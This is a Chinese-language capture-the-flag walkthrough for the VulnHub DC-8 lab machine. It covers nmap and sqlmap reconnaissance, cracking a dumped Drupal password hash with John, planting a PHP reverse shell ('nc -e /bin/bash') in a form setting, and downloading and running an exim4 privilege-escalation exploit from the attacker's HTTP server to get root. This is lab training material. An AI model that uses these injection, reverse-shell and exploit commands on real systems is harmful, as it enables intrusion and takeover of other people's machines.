一、准备工作
kali和靶机都选择NAT模式(kali与靶机同网段)
1.靶场环境
下载链接:https://download.vulnhub.com/dc/DC-8.zip
2.kali的ip
命令:ifconfig
3.靶机的ip
扫描靶机ip
sudo arp-scan -l
二、信息收集
1.nmap的信息收集
(1)扫描靶机开放的端口及其服务
nmap -A -p- 192.168.101.121
2.网站的信息收集
(1)靶机开放了80端口,先访问靶机网站看看有什么有用的信息
三、漏洞发现及其利用
(1)sql注入
1.使用sqlmap
sqlmap -u http://192.168.101.121?nid=1 -current-db -batch #获取当前数据库
sqlmap -u http://192.168.101.121/?nid=1 -D d7db -tables -batch # 获取表名
sqlmap -u http://192.168.101.121/?nid=1 -D d7db -T users -columns -batch #获取字段名
sqlmap -u http://192.168.101.121/?nid=1 -D d7db -T users -C name,pass -dump #获取账号密码
获取当前数据库
获取表名user
获取字段名name、pass
获取账号密码
2.john解码
创建一个文本将刚才获取到的密码放到里面,通过john解码
vi pass
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
:wq
cat pass
john pass
只得出一个turtle密码,不知道是admin还是john,都试一下
最后只能是john
登录成功
(2)反弹getshell
1.添加getshell
发现观察页面,发现Concat Us可以修改内容,到web写一个php反弹shell
点击form settins进行编写getshell的语句
dsasffafgssgss
<?php
system('nc -e /bin/bash 192.168.101.10 1234');
?>
页面最后面有一个save configuration,点击它保存
2.反弹shell
(1)在kali这边开启监听
nc -lvvp 1234
(2)回到刚才登录到页面,随便提交点东西
(3)回到kali,发现已经监听成功
(4)优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行)
python -c 'import pty;pty.spawn("/bin/bash")'
(3)提权
1.查找具有suid权限的命令,发现可疑命令exim4,百度一下,exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限
find / -user root -perm -4000 -print 2>/dev/null
2.查看exim版本
/usr/sbin/exim4 --version
3.使用searchsploit工具查找exim版本脚本信息
searchsploit exim
4.将攻击代码下载到当前目录并使用dos2unix修改格式为unix,避免后面需要在脚本中再操作,或者在靶机上修改脚本内容(在文件内容终端输入:set ff=unix,使windows代码能在Unix上执行)
apt install dos2unix
cd /home
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /home
dos2unix 46996.sh
5.在kali开启一个Http服务
python -m SimpleHTTPServer
6.在靶机上将46996.sh脚本文件下载在靶机本地并提升权限
cd /tmp
wget http://192.168.101.10:8000/46996.sh
chmod 777 46996.sh
7.启动脚本进行提权
./46996.sh -m netcat
8.找到flag
cat /root/flag.txt